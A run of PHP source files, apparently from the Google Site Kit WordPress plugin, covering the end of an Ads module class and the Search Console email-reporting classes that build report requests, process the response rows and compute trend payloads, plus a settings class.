parent::is_connected(); } if ( empty( $options['conversionID'] ) ) { return false; } return parent::is_connected(); } /** * Cleans up when the module is deactivated. * * @since 1.122.0 */ public function on_deactivation() { $this->get_settings()->delete(); } /** * Registers the Ads tag. * * @since 1.124.0 */ public function register_tag() { $ads_conversion_id = $this->get_settings()->get()['conversionID']; $pax_conversion_id = $this->get_settings()->get()['paxConversionID']; // The PAX-supplied Conversion ID should take precedence over the // user-supplied one, if both exist. if ( Feature_Flags::enabled( 'adsPax' ) && ! empty( $pax_conversion_id ) ) { $ads_conversion_id = $pax_conversion_id; } $tag = $this->context->is_amp() ? new AMP_Tag( $ads_conversion_id, self::MODULE_SLUG ) : new Web_Tag( $ads_conversion_id, self::MODULE_SLUG ); if ( $tag->is_tag_blocked() ) { return; } $tag->use_guard( new Tag_Verify_Guard( $this->context->input() ) ); $tag->use_guard( new Has_Tag_Guard( $ads_conversion_id ) ); $tag->use_guard( new Tag_Environment_Type_Guard() ); if ( ! $tag->can_register() ) { return; } $home_domain = URL::parse( $this->context->get_canonical_home_url(), PHP_URL_HOST ); $tag->set_home_domain( $home_domain ); $tag->register(); } /** * Gets an array of debug field definitions. * * @since 1.124.0 * * @return array An array of all debug fields. */ public function get_debug_fields() { $settings = $this->get_settings()->get(); return array( 'ads_conversion_tracking_id' => array( 'label' => __( 'Ads: Conversion ID', 'google-site-kit' ), 'value' => $settings['conversionID'], 'debug' => Debug_Data::redact_debug_value( $settings['conversionID'] ), ), ); } /** * Returns the Module_Tag_Matchers instance. * * @since 1.124.0 * * @return Module_Tag_Matchers Module_Tag_Matchers instance. */ public function get_tag_matchers() { return new Tag_Matchers(); } /** * Gets required inline data for the module. * * @since 1.158.0 * @since 1.160.0 Include $modules_data parameter to match the interface. * * @param array $modules_data Inline modules data. * @return array An array of the module's inline data. */ public function get_inline_data( $modules_data ) { if ( ! Feature_Flags::enabled( 'adsPax' ) ) { return $modules_data; } if ( empty( $modules_data['ads'] ) ) { $modules_data['ads'] = array(); } $modules_data[ self::MODULE_SLUG ]['supportedConversionEvents'] = $this->conversion_tracking->get_supported_conversion_events(); return $modules_data; } /** * Gets an array of internal feature metrics. * * @since 1.162.0 * * @return array */ public function get_feature_metrics() { $is_connected = $this->is_connected(); if ( ! $is_connected ) { return array( 'ads_connection' => '', ); } $settings = $this->get_settings()->get(); if ( Feature_Flags::enabled( 'adsPax' ) && ! empty( $settings['paxConversionID'] ) ) { return array( 'ads_connection' => 'pax', ); } return array( 'ads_connection' => 'manual', ); } } <?php /** * Class Google\Site_Kit\Modules\Search_Console\Email_Reporting\Report_Request_Assembler * * @package Google\Site_Kit\Modules\Search_Console\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Search_Console\Email_Reporting; use WP_Error; /** * Builds Search Console batch requests and maps responses for email reporting. * * @since 1.170.0 * @access private * @ignore */ class Report_Request_Assembler { /** * Report options instance. * * @since 1.170.0 * @var Report_Options */ private $report_options; /** * Constructor. * * @since 1.170.0 * * @param Report_Options $report_options Report options instance. */ public function __construct( Report_Options $report_options ) { $this->report_options = $report_options; } /** * Builds Search Console batch requests. * * @since 1.170.0 * * @return array Tuple of (requests, request_map). */ public function build_requests() { $requests = array(); $request_map = array(); $this->add_single_period_requests( $requests, $request_map ); $this->add_compare_period_requests( $requests, $request_map ); return array( $requests, $request_map ); } /** * Adds current-period Search Console requests. * * @since 1.170.0 * * @param array $requests Request list (by reference). * @param array $request_map Request metadata map (by reference). */ private function add_single_period_requests( &$requests, &$request_map ) { $this->add_request( $requests, $request_map, 'total_impressions', 'total_impressions', $this->report_options->get_total_impressions_options() ); $this->add_request( $requests, $request_map, 'total_clicks', 'total_clicks', $this->report_options->get_total_clicks_options() ); $top_ctr_keywords = $this->report_options->get_top_ctr_keywords_options(); $this->add_request( $requests, $request_map, 'top_ctr_keywords_current', 'top_ctr_keywords', $top_ctr_keywords, 'current' ); $top_pages_by_clicks = $this->report_options->get_top_pages_by_clicks_options(); $this->add_request( $requests, $request_map, 'top_pages_by_clicks_current', 'top_pages_by_clicks', $top_pages_by_clicks, 'current' ); $keywords_ctr_increase = $this->report_options->get_keywords_ctr_increase_options(); $this->add_request( $requests, $request_map, 'keywords_ctr_increase_current', 'keywords_ctr_increase', $keywords_ctr_increase, 'current' ); $pages_clicks_increase = $this->report_options->get_pages_clicks_increase_options(); $this->add_request( $requests, $request_map, 'pages_clicks_increase_current', 'pages_clicks_increase', $pages_clicks_increase, 'current' ); } /** * Adds compare-period Search Console requests. * * @since 1.170.0 * * @param array $requests Request list (by reference). * @param array $request_map Request metadata map (by reference). */ private function add_compare_period_requests( &$requests, &$request_map ) { $compare_range = $this->report_options->get_compare_range(); if ( empty( $compare_range ) ) { return; } $compare_options = array( 'startDate' => $compare_range['startDate'], 'endDate' => $compare_range['endDate'], ); $this->add_request( $requests, $request_map, 'top_ctr_keywords_compare', 'top_ctr_keywords', array_merge( $this->report_options->get_top_ctr_keywords_options(), $compare_options ), 'compare' ); $this->add_request( $requests, $request_map, 'top_pages_by_clicks_compare', 'top_pages_by_clicks', array_merge( $this->report_options->get_top_pages_by_clicks_options(), $compare_options ), 'compare' ); $this->add_request( $requests, $request_map, 'keywords_ctr_increase_compare', 'keywords_ctr_increase', array_merge( $this->report_options->get_keywords_ctr_increase_options(), $compare_options ), 'compare' ); $this->add_request( $requests, $request_map, 'pages_clicks_increase_compare', 'pages_clicks_increase', array_merge( $this->report_options->get_pages_clicks_increase_options(), $compare_options ), 'compare' ); } /** * Adds a single Search Console request to the batch lists. * * @since 1.170.0 * * @param array $requests Request list (by reference). * @param array $request_map Request metadata map (by reference). * @param string $identifier Unique request identifier. * @param string $section_key Section key. * @param array $options Request options. * @param string $context Context flag (single/current/compare). */ private function add_request( &$requests, &$request_map, $identifier, $section_key, $options, $context = 'single' ) { // Keep identifiers unique (e.g. current/compare) so batch responses do not overwrite each other, // while still mapping them back to the same section key for rendering. $request_map[ $identifier ] = array( 'section_key' => $section_key, 'context' => $context, ); $requests[] = array_merge( $options, array( 'identifier' => $identifier ) ); } /** * Maps batch responses back to section payloads. * * @since 1.170.0 * * @param array $responses Batch responses keyed by identifier. * @param array $request_map Request metadata map. * @return array Section payloads keyed by section slug. */ public function map_responses( $responses, $request_map ) { $payload = array(); foreach ( $request_map as $identifier => $metadata ) { $result = isset( $responses[ $identifier ] ) ? $responses[ $identifier ] : new WP_Error( 'email_report_search_console_missing_result', __( 'Search Console data could not be retrieved.', 'google-site-kit' ) ); if ( 'compare' === $metadata['context'] || 'current' === $metadata['context'] ) { if ( ! isset( $payload[ $metadata['section_key'] ] ) || ! is_array( $payload[ $metadata['section_key'] ] ) ) { $payload[ $metadata['section_key'] ] = array(); } $payload[ $metadata['section_key'] ][ $metadata['context'] ] = $result; continue; } $payload[ $metadata['section_key'] ] = $result; } return $payload; } } <?php /** * Class Google\Site_Kit\Modules\Search_Console\Email_Reporting\Report_Options * * @package Google\Site_Kit\Modules\Search_Console\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Search_Console\Email_Reporting; use Google\Site_Kit\Core\Email_Reporting\Report_Options\Report_Options as Base_Report_Options; /** * Builds Search Console report option payloads for email reporting. * * @since 1.167.0 * * @access private * @ignore */ class Report_Options extends Base_Report_Options { /** * Gets report options for total impressions. * * @since 1.167.0 * * @return array Report request options array for impressions. */ public function get_total_impressions_options() { return $this->get_search_funnel_options(); } /** * Gets report options for total clicks. * * @since 1.167.0 * * @return array Report request options array for clicks. */ public function get_total_clicks_options() { return $this->get_search_funnel_options(); } /** * Gets compare period range values. * * @since 1.170.0 * * @return array Compare period range array. */ public function get_compare_range() { return $this->get_compare_range_values(); } /** * Gets report options for keywords with highest CTR. * * @since 1.167.0 * * @return array Report request options array for CTR keywords. */ public function get_top_ctr_keywords_options() { $current_range = $this->get_current_range_values(); return array( 'startDate' => $current_range['startDate'], 'endDate' => $current_range['endDate'], 'dimensions' => 'query', 'rowLimit' => 10, ); } /** * Gets report options for keywords with biggest CTR increase. * * @since 1.170.0 * * @return array Report request options array. */ public function get_keywords_ctr_increase_options() { $current_range = $this->get_current_range_values(); return array( 'startDate' => $current_range['startDate'], 'endDate' => $current_range['endDate'], 'dimensions' => 'query', 'rowLimit' => 50, ); } /** * Gets report options for the pages with most clicks. * * @since 1.167.0 * * @return array Report request options array for top pages. */ public function get_top_pages_by_clicks_options() { $current_range = $this->get_current_range_values(); return array( 'startDate' => $current_range['startDate'], 'endDate' => $current_range['endDate'], 'dimensions' => 'page', 'rowLimit' => 10, ); } /** * Gets report options for pages with biggest clicks increase. * * @since 1.170.0 * * @return array Report request options array. */ public function get_pages_clicks_increase_options() { $current_range = $this->get_current_range_values(); return array( 'startDate' => $current_range['startDate'], 'endDate' => $current_range['endDate'], 'dimensions' => 'page', 'rowLimit' => 50, ); } /** * Shared Search Console report options used for total clicks/impressions. * * @since 1.167.0 * * @return array Report request options array spanning both periods. */ private function get_search_funnel_options() { $combined_range = $this->get_combined_range(); return array( 'startDate' => $combined_range['startDate'], 'endDate' => $combined_range['endDate'], 'dimensions' => 'date', ); } } <?php /** * Class Google\Site_Kit\Modules\Search_Console\Email_Reporting\Report_Data_Builder * * @package Google\Site_Kit\Modules\Search_Console\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Search_Console\Email_Reporting; use Google\Site_Kit\Modules\Search_Console\Email_Reporting\Report_Data_Processor; use WP_Error; /** * Builds Search Console email section payloads. * * @since 1.170.0 * @access private * @ignore */ class Report_Data_Builder { /** * Data processor instance. * * @since 1.170.0 * @var Report_Data_Processor */ protected $processor; /** * Constructor. * * @since 1.170.0 * * @param Report_Data_Processor|null $processor Optional. Data processor instance. */ public function __construct( ?Report_Data_Processor $processor = null ) { $this->processor = $processor ?? new Report_Data_Processor(); } /** * Builds section payloads from Search Console module data. * * @since 1.170.0 * * @param array $module_payload Module payload keyed by section slug. * @param int|null $current_period_length Optional. Current period length in days. * @return array|WP_Error Section payloads or WP_Error. */ public function build_sections_from_module_payload( $module_payload, $current_period_length = null ) { $sections = array(); foreach ( $module_payload as $section_key => $section_data ) { $error = $this->get_section_error( $section_data ); if ( $error instanceof WP_Error ) { return $error; } // If compare/current are provided (for list sections), pass through unchanged. if ( is_array( $section_data ) && isset( $section_data['current'] ) ) { $rows = $section_data; } else { $rows = $this->processor->normalize_rows( $section_data ); } if ( empty( $rows ) ) { continue; } $section = $this->build_section_payload_from_search_console( $rows, $section_key, $current_period_length ); if ( $section ) { $sections[] = $section; } } return $sections; } /** * Extracts any WP_Error from the section data. * * @since 1.170.0 * * @param mixed $section_data Section payload. * @return WP_Error|null WP_Error instance when present, otherwise null. */ private function get_section_error( $section_data ) { if ( is_wp_error( $section_data ) ) { return $section_data; } if ( is_array( $section_data ) ) { foreach ( $section_data as $value ) { if ( is_wp_error( $value ) ) { return $value; } } } return null; } /** * Builds a section payload from Search Console report data. * * @since 1.170.0 * * @param array $search_console_data Search Console report rows. * @param string $section_key Section key identifier. * @param int|null $current_period Optional. Current period length in days. * @return array|null Section payload array, or null if data is invalid. */ public function build_section_payload_from_search_console( $search_console_data, $section_key, $current_period = null ) { if ( empty( $search_console_data ) ) { return null; } // When we have compare/current bundled, merge to compute per-key trends. if ( isset( $search_console_data['current'] ) ) { if ( in_array( $section_key, array( 'keywords_ctr_increase', 'pages_clicks_increase' ), true ) ) { $metric_field = 'keywords_ctr_increase' === $section_key ? 'ctr' : 'clicks'; $is_ctr = 'keywords_ctr_increase' === $section_key; return $this->build_growth_list_with_compare( $section_key, $search_console_data['current'], $search_console_data['compare'] ?? array(), $metric_field, $is_ctr ); } return $this->build_list_with_compare( $section_key, $search_console_data['current'], $search_console_data['compare'] ?? array() ); } $preferred_key = $this->processor->get_preferred_key( $section_key ); $row_metric = ( 'top_ctr_keywords' === $section_key ) ? 'ctr' : 'clicks'; if ( null === $preferred_key ) { // Sort list sections by the primary metric before limiting/formatting. $search_console_data = $this->processor->sort_rows_by_field( $search_console_data, $row_metric, 'desc' ); } $row_data = $this->processor->collect_row_data( $search_console_data, $preferred_key, $row_metric ); if ( null !== $preferred_key ) { return $this->build_totals_section_payload( $search_console_data, $section_key, $preferred_key, $row_data['title'], $current_period ); } return $this->build_list_section_payload( $section_key, $row_data ); } /** * Builds a totals-style section payload (impressions/clicks). * * @since 1.170.0 * * @param array $search_console_data Search Console rows. * @param string $section_key Section key. * @param string $preferred_key Preferred metric key. * @param string $title Section title. * @param int|null $current_period Optional. Current period length in days. * @return array Section payload. */ protected function build_totals_section_payload( $search_console_data, $section_key, $preferred_key, $title, $current_period = null ) { $trends = null; $period_length = $current_period ?? $this->processor->infer_period_length_from_rows( $search_console_data ); $period_length = max( 1, $period_length ?? 1 ); // Prevent using a window larger than half of the available rows (combined compare+current), // matching the JS dashboard behaviour for two-period Search Console reports. $max_window = max( 1, (int) ceil( count( $search_console_data ) / 2 ) ); $period_length = min( $period_length, $max_window ); $totals = $this->processor->sum_field_by_period( $search_console_data, $preferred_key, $period_length ); $current_total = $totals['current']; $compare_total = $totals['compare']; $values = array( $this->format_value( $current_total ) ); if ( 0.0 === $compare_total ) { $trends = array( null ); } else { $trends = array( ( $current_total - $compare_total ) / $compare_total * 100 ); } return array( 'section_key' => $section_key, 'title' => $title, 'labels' => array( $preferred_key ), 'event_names' => array( $preferred_key ), 'values' => $values, 'value_types' => array( 'TYPE_STANDARD' ), 'trends' => $trends, 'trend_types' => array( 'TYPE_STANDARD' ), 'dimensions' => array(), 'dimension_values' => array(), 'date_range' => null, ); } /** * Formats numeric values with K/M suffixes for readability. * * @since 1.170.0 * * @param mixed $value Numeric value. * @return string|mixed Formatted value or original when non-numeric. */ protected function format_value( $value ) { if ( ! is_numeric( $value ) ) { return $value; } $number = (float) $value; $abs = abs( $number ); if ( $abs >= 1000000000 ) { return sprintf( '%s%s', number_format_i18n( $number / 1000000000, 1 ), _x( 'B', 'billions abbreviation', 'google-site-kit' ) ); } if ( $abs >= 1000000 ) { return sprintf( '%s%s', number_format_i18n( $number / 1000000, 1 ), _x( 'M', 'millions abbreviation', 'google-site-kit' ) ); } if ( $abs >= 1000 ) { return sprintf( '%s%s', number_format_i18n( $number / 1000, 1 ), _x( 'K', 'thousands abbreviation', 'google-site-kit' ) ); } return number_format_i18n( $number ); } /** * Builds a list-style section payload (keywords/pages). * * @since 1.170.0 * * @param string $section_key Section key. * @param array $row_data Collected row data. * @return array|null Section payload or null on empty data. */ protected function build_list_section_payload( $section_key, $row_data ) { $labels = $row_data['labels']; $value_types = $row_data['value_types']; $dimension_values = $row_data['dimension_values']; $row_metric_values = $row_data['row_metric_values']; $values_by_key = $row_data['values_by_key']; $title = $row_data['title']; $trends = null; $is_list_section = in_array( $section_key, array( 'top_ctr_keywords', 'top_pages_by_clicks' ), true ); if ( $is_list_section && ! empty( $row_metric_values ) && ! empty( $dimension_values ) ) { list( $row_metric_values, $dimension_values ) = $this->processor->limit_list_results( $row_metric_values, $dimension_values, 3 ); } if ( ! empty( $row_metric_values ) && ! empty( $dimension_values ) ) { $values = $row_metric_values; // No compare-period data is available for list sections; treat them as new (100% increase). $trends = array_fill( 0, count( $values ), 100 ); $labels = array( 'clicks' ); $value_types = array( 'TYPE_STANDARD' ); } elseif ( empty( $labels ) ) { return null; } else { $values = array_values( $values_by_key ); } if ( null === $trends && ! empty( $values ) ) { $trends = array_fill( 0, count( $values ), 100 ); } $payload = array( 'section_key' => $section_key, 'title' => $title, 'labels' => $labels, 'event_names' => $labels, 'values' => $values, 'value_types' => $value_types, 'trends' => $trends, 'trend_types' => $value_types, 'dimensions' => array(), 'dimension_values' => $dimension_values, 'date_range' => null, ); if ( 'top_ctr_keywords' === $section_key && ! empty( $payload['values'] ) ) { $payload['values'] = array_map( function ( $value ) { if ( null === $value || '' === $value ) { return $value; } return round( (float) $value * 100, 1 ) . '%'; }, $payload['values'] ); } return $payload; } /** * Builds list payload using current/compare Search Console rows. * * @since 1.170.0 * * @param string $section_key Section key. * @param array $current_rows Current period rows. * @param array $compare_rows Compare period rows. * @return array|null Section payload. */ protected function build_list_with_compare( $section_key, $current_rows, $compare_rows ) { $current_rows = $this->processor->normalize_rows( $current_rows ); $compare_rows = $this->processor->normalize_rows( $compare_rows ); $metric_field = ( 'top_ctr_keywords' === $section_key ) ? 'ctr' : 'clicks'; $is_ctr_section = 'top_ctr_keywords' === $section_key; $current_rows = $this->processor->sort_rows_by_field( $current_rows, $metric_field, 'desc' ); $current_rows = array_slice( $current_rows, 0, 3 ); $compare_by_key = array(); $labels = array(); $values = array(); $trends = array(); $dimension_values = array(); foreach ( $compare_rows as $row ) { $key = isset( $row['keys'][0] ) ? $row['keys'][0] : ''; if ( '' === $key ) { continue; } $compare_by_key[ $key ] = $row[ $metric_field ] ?? 0; } foreach ( $current_rows as $row ) { $key = isset( $row['keys'][0] ) ? $row['keys'][0] : ''; if ( '' === $key ) { continue; } $current_value = isset( $row[ $metric_field ] ) ? (float) $row[ $metric_field ] : 0.0; $compare_value = isset( $compare_by_key[ $key ] ) ? (float) $compare_by_key[ $key ] : null; $labels[] = $key; if ( $is_ctr_section ) { $values[] = round( $current_value * 100, 1 ) . '%'; } else { $values[] = $current_value; } // If compare value is null or zero, treat as new (100% increase). if ( null === $compare_value || 0.0 === $compare_value ) { $trends[] = 100; } else { $trends[] = ( ( $current_value - $compare_value ) / $compare_value ) * 100; } $dimension_values[] = $this->processor->format_dimension_value( $key ); } if ( empty( $labels ) ) { return null; } return array( 'section_key' => $section_key, 'title' => '', 'labels' => $labels, 'event_names' => $labels, 'values' => $values, 'value_types' => array_fill( 0, count( $values ), 'TYPE_STANDARD' ), 'trends' => $trends, 'trend_types' => array_fill( 0, count( $trends ), 'TYPE_STANDARD' ), 'dimensions' => array(), 'dimension_values' => $dimension_values, 'date_range' => null, ); } /** * Builds list payload for biggest increases (CTR or clicks) using current/compare rows. * * @since 1.170.0 * * @param string $section_key Section key. * @param array $current_rows Current period rows. * @param array $compare_rows Compare period rows. * @param string $metric_field Metric field name (ctr or clicks). * @param bool $is_ctr Whether the metric is CTR. * @return array|null Section payload. */ protected function build_growth_list_with_compare( $section_key, $current_rows, $compare_rows, $metric_field, $is_ctr ) { $current_rows = $this->processor->normalize_rows( $current_rows ); $compare_rows = $this->processor->normalize_rows( $compare_rows ); $compare_by_key = array(); foreach ( $compare_rows as $row ) { $key = isset( $row['keys'][0] ) ? $row['keys'][0] : ''; if ( '' === $key ) { continue; } $compare_by_key[ $key ] = isset( $row[ $metric_field ] ) ? (float) $row[ $metric_field ] : 0.0; } $entries = array(); foreach ( $current_rows as $row ) { $key = isset( $row['keys'][0] ) ? $row['keys'][0] : ''; if ( '' === $key ) { continue; } $current_value = isset( $row[ $metric_field ] ) ? (float) $row[ $metric_field ] : 0.0; $compare_value = $compare_by_key[ $key ] ?? null; $delta = ( null === $compare_value ) ? $current_value : $current_value - (float) $compare_value; // Only keep increases. if ( $delta <= 0 ) { continue; } $entries[] = array( 'label' => $key, 'value' => $current_value, 'delta' => $delta, 'dimension_value' => $this->processor->format_dimension_value( $key ), ); } if ( empty( $entries ) ) { return null; } usort( $entries, static function ( $a, $b ) { return $a['delta'] < $b['delta'] ? 1 : -1; } ); $entries = array_slice( $entries, 0, 3 ); $labels = array(); $values = array(); $trends = array(); $dimension_values = array(); foreach ( $entries as $entry ) { $labels[] = $entry['label']; if ( $is_ctr ) { $values[] = round( $entry['value'] * 100, 1 ) . '%'; $trends[] = round( $entry['delta'] * 100, 1 ); } else { $values[] = $entry['value']; $trends[] = $entry['delta']; } $dimension_values[] = $entry['dimension_value']; } if ( empty( $labels ) ) { return null; } return array( 'section_key' => $section_key, 'title' => '', 'labels' => $labels, 'event_names' => $labels, 'values' => $values, 'value_types' => array_fill( 0, count( $values ), 'TYPE_STANDARD' ), 'trends' => $trends, 'trend_types' => array_fill( 0, count( $trends ), 'TYPE_STANDARD' ), 'dimensions' => array(), 'dimension_values' => $dimension_values, 'date_range' => null, ); } } <?php /** * Class Google\Site_Kit\Modules\Search_Console\Email_Reporting\Report_Data_Processor * * @package Google\Site_Kit\Modules\Search_Console\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Search_Console\Email_Reporting; /** * Processes Search Console data for email reporting (sorting, partitioning, summarizing). * * @since 1.167.0 * @access private * @ignore */ class Report_Data_Processor { /** * Sorts Search Console rows by a given field. * * @since 1.167.0 * * @param array $rows Search Console rows (arrays or objects). * @param string $field Field name such as 'ctr', 'clicks', etc. * @param string $order Optional. 'asc' or 'desc'. Default 'desc'. * @return array Sorted rows. */ public function sort_rows_by_field( array $rows, $field, $order = 'desc' ) { $direction = ( 'asc' === strtolower( $order ) ) ? 'asc' : 'desc'; usort( $rows, function ( $a, $b ) use ( $field, $direction ) { $value_a = $this->extract_row_value( $a, $field ); $value_b = $this->extract_row_value( $b, $field ); if ( $value_a === $value_b ) { return 0; } if ( 'asc' === $direction ) { return ( $value_a < $value_b ) ? -1 : 1; } return ( $value_a > $value_b ) ? -1 : 1; } ); return $rows; } /** * Partitions rows into compare and current periods. * * @since 1.167.0 * * @param array $rows Combined-period rows returned from the API. * @param int $period_length Number of days within a period. * @return array Partitioned rows, holding rows for earlier and current periods. */ public function partition_rows_by_period( array $rows, $period_length ) { if ( $period_length <= 0 || empty( $rows ) ) { return array( 'compare' => array(), 'current' => $rows, ); } $total_rows = count( $rows ); // Match JS `partitionReport` behaviour: use the most recent `$period_length` rows for the // current range and the preceding `$period_length` (or fewer) rows for the compare range. $current_rows_start = max( 0, $total_rows - $period_length ); $current_rows = array_slice( $rows, $current_rows_start ); $compare_end = $current_rows_start; $compare_start = max( 0, $total_rows - ( 2 * $period_length ) ); $compare_rows = array_slice( $rows, $compare_start, $compare_end - $compare_start ); return array( 'compare' => $compare_rows, 'current' => $current_rows, ); } /** * Calculates field totals for compare/current periods. * * @since 1.167.0 * * @param array $rows Combined-period rows returned from the API. * @param string $field Field name to sum (e.g. impressions, clicks, ctr). * @param int $period_length Number of days within a period. * @return array Period totals, holding summed field values for compare and current periods. */ public function sum_field_by_period( array $rows, $field, $period_length ) { $partitioned = $this->partition_rows_by_period( $rows, $period_length ); return array( 'compare' => $this->sum_rows_field( $partitioned['compare'], $field ), 'current' => $this->sum_rows_field( $partitioned['current'], $field ), ); } /** * Sums a numeric field across the provided rows. * * @since 1.167.0 * * @param array $rows Row list. * @param string $field Field name. * @return float Aggregated numeric total for the requested field. */ private function sum_rows_field( array $rows, $field ) { $total = 0.0; foreach ( $rows as $row ) { $total += $this->extract_row_value( $row, $field ); } return $total; } /** * Safely extracts a scalar value from a Search Console row. * * @since 1.167.0 * * @param array|object $row Row data. * @param string $field Field to extract. * @return float Numeric value (defaults to 0). */ private function extract_row_value( $row, $field ) { if ( is_array( $row ) ) { return (float) ( $row[ $field ] ?? 0 ); } if ( is_object( $row ) && isset( $row->{$field} ) ) { return (float) $row->{$field}; } return 0.0; } /** * Calculates current period length from Search Console rows (half of combined range). * * @since 1.170.0 * * @param array $rows Search Console rows. * @return int|null Period length in days or null on failure. */ public function calculate_period_length_from_rows( array $rows ) { if ( empty( $rows ) ) { return null; } $dates = array(); foreach ( $rows as $row ) { if ( is_array( $row ) && ! empty( $row['keys'][0] ) ) { $dates[] = $row['keys'][0]; } elseif ( is_object( $row ) && isset( $row->keys[0] ) ) { $dates[] = $row->keys[0]; } } if ( empty( $dates ) ) { return null; } sort( $dates ); try { $start = new \DateTime( reset( $dates ) ); $end = new \DateTime( end( $dates ) ); } catch ( \Exception $e ) { return null; } $diff = $start->diff( $end ); if ( false === $diff ) { return null; } return max( 1, (int) floor( ( $diff->days + 1 ) / 2 ) ); } /** * Infers period length from combined Search Console rows (half of unique dates, rounded up). * * @since 1.170.0 * * @param array $rows Search Console rows. * @return int|null Period length in days or null on failure. */ public function infer_period_length_from_rows( array $rows ) { if ( empty( $rows ) ) { return null; } $dates = array(); foreach ( $rows as $row ) { if ( is_array( $row ) && ! empty( $row['keys'][0] ) ) { $dates[] = $row['keys'][0]; } elseif ( is_object( $row ) && isset( $row->keys[0] ) ) { $dates[] = $row->keys[0]; } } $dates = array_unique( $dates ); $count = count( $dates ); if ( 0 === $count ) { return null; } return max( 1, (int) ceil( $count / 2 ) ); } /** * Normalizes Search Console rows to an indexed array of row arrays. * * @since 1.170.0 * * @param mixed $section_data Section payload. * @return array Normalized Search Console rows. */ public function normalize_rows( $section_data ) { if ( is_object( $section_data ) ) { $section_data = (array) $section_data; } if ( ! is_array( $section_data ) ) { return array(); } if ( $this->is_sequential_array( $section_data ) ) { $rows = array(); foreach ( $section_data as $row ) { if ( is_object( $row ) ) { $row = (array) $row; } if ( is_array( $row ) ) { $rows[] = $row; } } return ! empty( $rows ) ? $rows : $section_data; } return array( $section_data ); } /** * Returns the preferred metric key for Search Console sections. * * @since 1.170.0 * * @param string $section_key Section key. * @return string|null Preferred metric key or null for list sections. */ public function get_preferred_key( $section_key ) { if ( 'total_impressions' === $section_key ) { return 'impressions'; } if ( 'total_clicks' === $section_key ) { return 'clicks'; } return null; } /** * Collects normalized row data (metrics/dimensions) for Search Console list sections. * * @since 1.170.0 * * @param array $rows Normalized Search Console rows. * @param string|null $preferred_key Preferred metric key or null for list sections. * @param string|null $row_metric_field Optional. Metric field to collect for row metrics. Default clicks. * @return array Collected row data. */ public function collect_row_data( array $rows, $preferred_key, $row_metric_field = 'clicks' ) { $labels = array(); $values_by_key = array(); $value_types = array(); $title = ''; $dimension_values = array(); $row_metric_values = array(); foreach ( $rows as $row ) { if ( '' === $title && isset( $row['title'] ) && is_string( $row['title'] ) ) { $title = trim( $row['title'] ); } $primary_key = ''; if ( ! empty( $row['keys'][0] ) && is_string( $row['keys'][0] ) ) { $primary_key = $row['keys'][0]; } foreach ( $row as $key => $value ) { if ( ! is_string( $key ) || '' === $key ) { continue; } if ( 'title' === $key ) { continue; } if ( null !== $preferred_key && $preferred_key !== $key ) { continue; } if ( is_array( $value ) || is_object( $value ) ) { continue; } $raw_value = is_string( $value ) ? trim( $value ) : $value; if ( '' === $raw_value ) { continue; } if ( ! is_numeric( $raw_value ) ) { continue; } if ( null === $preferred_key && $primary_key && $row_metric_field === $key ) { $dimension_values[] = $this->format_dimension_value( $primary_key ); $row_metric_values[] = (float) $raw_value; } if ( array_key_exists( $key, $values_by_key ) ) { $values_by_key[ $key ] += (float) $raw_value; continue; } $labels[] = $key; $values_by_key[ $key ] = (float) $raw_value; $value_types[] = 'TYPE_STANDARD'; } } return array( 'title' => $title, 'labels' => $labels, 'values_by_key' => $values_by_key, 'value_types' => $value_types, 'dimension_values' => $dimension_values, 'row_metric_values' => $row_metric_values, ); } /** * Limits list-style results to a specific number of rows. * * @since 1.170.0 * * @param array $values Metric values. * @param array $dimension_values Dimension values. * @param int $limit Maximum number of rows. * @return array Array with limited values and dimension values. */ public function limit_list_results( array $values, array $dimension_values, $limit ) { if ( $limit <= 0 ) { return array( $values, $dimension_values ); } return array( array_slice( $values, 0, $limit ), array_slice( $dimension_values, 0, $limit ), ); } /** * Formats a dimension value (adds URL metadata when applicable). * * @since 1.170.0 * * @param string $value Dimension value. * @return string|array */ public function format_dimension_value( $value ) { if ( filter_var( $value, FILTER_VALIDATE_URL ) ) { return array( 'label' => $value, 'url' => $value, ); } return $value; } /** * Determines whether an array uses sequential integer keys starting at zero. * * @since 1.170.0 * * @param array $data Array to test. * @return bool Whether the array uses sequential integer keys starting at zero. */ protected function is_sequential_array( $data ) { if ( empty( $data ) ) { return true; } return array_keys( $data ) === range( 0, count( $data ) - 1 ); } } <?php /** * Class Google\Site_Kit\Modules\Search_Console\Settings * * @package Google\Site_Kit\Modules\Search_Console * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Search_Console; use Google\Site_Kit\Core\Modules\Module_Settings; use Google\Site_Kit\Core\Storage\Setting_With_Owned_Keys_Interface; use Google\Site_Kit\Core\Storage\Setting_With_Owned_Keys_Trait; /** * Class for Search Console settings. * * @since 1.3.0 * @access private * @ignore */ class Settings extends Module_Settings implements Setting_With_Owned_Keys_Interface { use Setting_With_Owned_Keys_Trait; const OPTION = 'googlesitekit_search-console_settings'; /** * Registers the setting in WordPress. * * @since 1.3.0 */ public function register() { parent::register(); $this->register_owned_keys(); // Backwards compatibility with previous dedicated option. add_filter( 'default_option_' . self::OPTION, function ( $default_option ) { if ( ! is_array( $default_option ) ) { $default_option = $this->get_default(); } $default_option['propertyID'] = $this->options->get( 'googlesitekit_search_console_property' ) ?: ''; return $default_option; } ); } /** * Gets the default value. * * @since 1.3.0 * * @return array */ protected function get_default() { return array( 'propertyID' => '', 'ownerID' => '', ); } /** * Returns keys for owned settings. * * @since 1.31.0 * * @return array An array of keys for owned settings. */ public function get_owned_keys() { return array( 'propertyID', ); } } <?php /** * Class Google\Site_Kit\Modules\Search_Console\Datapoints\SearchAnalyticsBatch * * @package Google\Site_Kit\Modules\Search_Console\Datapoints * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Search_Console\Datapoints; use Exception; use 